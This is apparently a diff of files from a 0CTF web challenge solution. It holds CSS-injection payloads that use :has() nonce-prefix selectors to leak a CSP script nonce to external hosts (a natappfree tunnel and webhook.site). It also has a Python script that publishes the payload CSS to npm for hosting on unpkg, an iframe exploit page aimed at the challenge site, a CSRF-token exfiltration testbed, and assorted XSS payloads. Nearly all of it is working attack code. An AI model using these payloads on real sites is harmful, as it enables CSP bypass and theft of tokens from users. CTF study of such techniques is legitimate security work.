+ html:has(script[nonce^='s']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=s)}
20
+ html:has(script[nonce^='t']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=t)}
21
+ html:has(script[nonce^='u']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=u)}
22
+ html:has(script[nonce^='v']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=v)}
23
+ html:has(script[nonce^='w']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=w)}
24
+ html:has(script[nonce^='x']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=x)}
25
+ html:has(script[nonce^='y']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=y)}
26
+ html:has(script[nonce^='z']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=z)}
27
+ html:has(script[nonce^='0']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=0)}
28
+ html:has(script[nonce^='1']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=1)}
29
+ html:has(script[nonce^='2']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=2)}
30
+ html:has(script[nonce^='3']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=3)}
31
+ html:has(script[nonce^='4']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=4)}
32
+ html:has(script[nonce^='5']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=5)}
33
+ html:has(script[nonce^='6']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=6)}
34
+ html:has(script[nonce^='7']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=7)}
35
+ html:has(script[nonce^='8']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=8)}
36
+ html:has(script[nonce^='9']) {background-image: url(http://qvmrzt.natappfree.cc/leak?q=9)}
37
+ html:has(script[nonce$='a']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=a)}
38
+ html:has(script[nonce$='b']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=b)}
39
+ html:has(script[nonce$='c']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=c)}
40
+ html:has(script[nonce$='d']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=d)}
41
+ html:has(script[nonce$='e']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=e)}
42
+ html:has(script[nonce$='f']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=f)}
43
+ html:has(script[nonce$='g']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=g)}
44
+ html:has(script[nonce$='h']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=h)}
45
+ html:has(script[nonce$='i']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=i)}
46
+ html:has(script[nonce$='j']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=j)}
47
+ html:has(script[nonce$='k']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=k)}
48
+ html:has(script[nonce$='l']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=l)}
49
+ html:has(script[nonce$='m']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=m)}
50
+ html:has(script[nonce$='n']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=n)}
51
+ html:has(script[nonce$='o']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=o)}
52
+ html:has(script[nonce$='p']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=p)}
53
+ html:has(script[nonce$='q']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=q)}
54
+ html:has(script[nonce$='r']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=r)}
55
+ html:has(script[nonce$='s']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=s)}
56
+ html:has(script[nonce$='t']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=t)}
57
+ html:has(script[nonce$='u']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=u)}
58
+ html:has(script[nonce$='v']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=v)}
59
+ html:has(script[nonce$='w']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=w)}
60
+ html:has(script[nonce$='x']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=x)}
61
+ html:has(script[nonce$='y']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=y)}
62
+ html:has(script[nonce$='z']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=z)}
63
+ html:has(script[nonce$='0']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=0)}
64
+ html:has(script[nonce$='1']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=1)}
65
+ html:has(script[nonce$='2']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=2)}
66
+ html:has(script[nonce$='3']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=3)}
67
+ html:has(script[nonce$='4']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=4)}
68
+ html:has(script[nonce$='5']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=5)}
69
+ html:has(script[nonce$='6']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=6)}
70
+ html:has(script[nonce$='7']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=7)}
71
+ html:has(script[nonce$='8']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=8)}
72
+ html:has(script[nonce$='9']) {border-image: url(http://qvmrzt.natappfree.cc/leak?q=9)}
package/npm/2.css ADDED
@@ -0,0 +1 @@
1
+ 123
package/npm/npm.py ADDED
@@ -0,0 +1,26 @@
1
+ import subprocess
2
+
3
+ def npm_upload(index, content):
4
+ package_json = """{
5
+ "name": "0ctf",
6
+ "version": "1.0.""" + str(index) + """",
7
+ "description": "",
8
+ "main": "1.css",
9
+ "license": "ISC"
10
+ }"""
11
+
12
+ with open(f"package.json", "w") as f:
13
+ f.write(package_json)
14
+
15
+ with open(f"{index}.css", "w") as f:
16
+ f.write(content)
17
+ # 执行npm login
18
+ command = 'npm publish'
19
+ result = subprocess.run(command, shell=True, check=True)
20
+ print(result)
21
+
22
+ def main():
23
+ npm_upload(2, "123")
24
+
25
+ if __name__ == "__main__":
26
+ main()
@@ -0,0 +1,7 @@
1
+ {
2
+ "name": "0ctf",
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "1.css",
6
+ "license": "ISC"
7
+ }
package/package.json ADDED
@@ -0,0 +1,7 @@
1
+ {
2
+ "name": "tctf",
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "1.css",
6
+ "license": "ISC"
7
+ }
@@ -0,0 +1,23 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <title>Document</title>
7
+ </head>
8
+ <body>
9
+ <script>
10
+ const sleep = ms => new Promise(r => setTimeout(r, ms));
11
+ const base_url = "http://new-diary.ctf.0ops.sjtu.cn"
12
+ async function main(username) {
13
+ var ifr = document.createElement('iframe');
14
+ ifr.src = `${base_url}/share/read#id=1&username=${username}`;
15
+ document.body.appendChild(ifr);
16
+ await sleep(20000);
17
+ ifr.contentWindow.location = `${base_url}/share/read#id=2&username=${username}`;
18
+ }
19
+ const username = "8f88AR";
20
+ main(username);
21
+ </script>
22
+ </body>
23
+ </html>
package/test.html ADDED
@@ -0,0 +1,39 @@
1
+ <!doctype html><meta charset=utf-8>
2
+ <style>
3
+ textarea, iframe {
4
+ width:100%;
5
+ height: 150px;
6
+ }
7
+ </style>
8
+ <p>This is a testbed for data exfiltration. Enter some HTML below and it will be injected into a page with <code>CSP: script-src 'none'</code>. The goal is to steal <code>csrftoken</code> from the form. The token is different after every reload so you need to steal it all at once!</p>
9
+ <textarea id=input placeholder="HTML here...">
10
+
11
+ </textarea><br>
12
+ <button onclick=update()>Update!</button>
13
+ <hr>
14
+ <iframe id=ifr></iframe>
15
+ <script>
16
+ const token = () => btoa(Array.from(crypto.getRandomValues(new Uint8Array(72)), c => String.fromCharCode(c)).join(''));
17
+ const input = document.getElementById('input');
18
+ const html = input => `<!doctype html><meta charset=utf-8>
19
+ <meta http-equiv=content-security-policy content="script-src 'none'">
20
+ <form action=#>
21
+ <input type=hidden name=csrftoken value="${token()}">
22
+ Name: <input name=name>
23
+ <button>Submit!</button>
24
+ ${input}
25
+ `;
26
+
27
+ document.onkeyup = ev => {
28
+ if (ev.altKey && ev.keyCode === 13) {
29
+ update();
30
+ ev.preventDefault();
31
+ }
32
+ };
33
+
34
+ let iframe = document.getElementById('ifr');
35
+ function update() {
36
+ iframe.src = `data:text/html,${encodeURIComponent(html(input.value))}`;
37
+ }
38
+
39
+ </script>
package/wsgi.py ADDED
@@ -0,0 +1,4 @@
1
+ from css import app
2
+
3
+ if __name__ == '__main__':
4
+ app.run()
@@ -0,0 +1,67 @@
1
+ <meta http-equiv="refresh" content="30;url=vps">
2
+ <img src onerror=alert(123);>
3
+
4
+ <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'">
5
+ <img src onerror=alert(123);>
6
+
7
+
8
+ <meta http-equiv="refresh" content="5;url='javascript:alert(1);'">
9
+ <div id="content"></div>
10
+
11
+ <iframe
12
+ srcdoc="<base href='https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5'><script>alert(1)</script>">
13
+ </iframe>
14
+
15
+ <iframe
16
+ srcdoc="<script nonce=''></script>">
17
+ </iframe>
18
+
19
+ <iframe srcdoc="<meta http-equiv='refresh' content='5;url=#id=1&username=askgaka'>"></iframe>
20
+
21
+ script-src 'nonce-x9cvsz9f3dto8zj5g5r5k0crzhm9cwdh'; frame-src 'none'; object-src 'none'; base-uri 'self'; style-src 'unsafe-inline' https://unpkg.com
22
+ http://localhost/share/read#id=id&username=username 携带cookie
23
+ 生成一个nonce
24
+ 然后去请求/share/read/:id接口获取返回值
25
+ 插入dom中
26
+
27
+ <style>
28
+ html:has(script[nonce^='a']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=a)}
29
+ html:has(script[nonce^='b']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=b)}
30
+ html:has(script[nonce^='c']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=c)}
31
+ html:has(script[nonce^='d']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=d)}
32
+ html:has(script[nonce^='e']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=e)}
33
+ html:has(script[nonce^='f']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=f)}
34
+ html:has(script[nonce^='g']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=g)}
35
+ html:has(script[nonce^='h']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=h)}
36
+ html:has(script[nonce^='i']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=i)}
37
+ html:has(script[nonce^='j']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=j)}
38
+ html:has(script[nonce^='k']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=k)}
39
+ html:has(script[nonce^='l']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=l)}
40
+ html:has(script[nonce^='m']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=m)}
41
+ html:has(script[nonce^='n']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=n)}
42
+ html:has(script[nonce^='o']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=o)}
43
+ html:has(script[nonce^='p']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=p)}
44
+ html:has(script[nonce^='q']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=q)}
45
+ html:has(script[nonce^='r']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=r)}
46
+ html:has(script[nonce^='s']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=s)}
47
+ html:has(script[nonce^='t']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=t)}
48
+ html:has(script[nonce^='u']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=u)}
49
+ html:has(script[nonce^='v']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=v)}
50
+ html:has(script[nonce^='w']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=w)}
51
+ html:has(script[nonce^='x']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=x)}
52
+ html:has(script[nonce^='y']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=y)}
53
+ html:has(script[nonce^='z']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=z)}
54
+ html:has(script[nonce^='0']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=0)}
55
+ html:has(script[nonce^='1']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=1)}
56
+ html:has(script[nonce^='2']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=2)}
57
+ html:has(script[nonce^='3']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=3)}
58
+ html:has(script[nonce^='4']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=4)}
59
+ html:has(script[nonce^='5']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=5)}
60
+ html:has(script[nonce^='6']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=6)}
61
+ html:has(script[nonce^='7']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=7)}
62
+ html:has(script[nonce^='8']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=8)}
63
+ html:has(script[nonce^='9']) {background: url(https://webhook.site/ae630218-c51f-4333-a644-7eb6a194f8d5?q=9)}
64
+ </style>
65
+
66
+ https://unpkg.com/tctf@1.0.0/1.css
67
+ unpkg.com/:package@:版本/:文件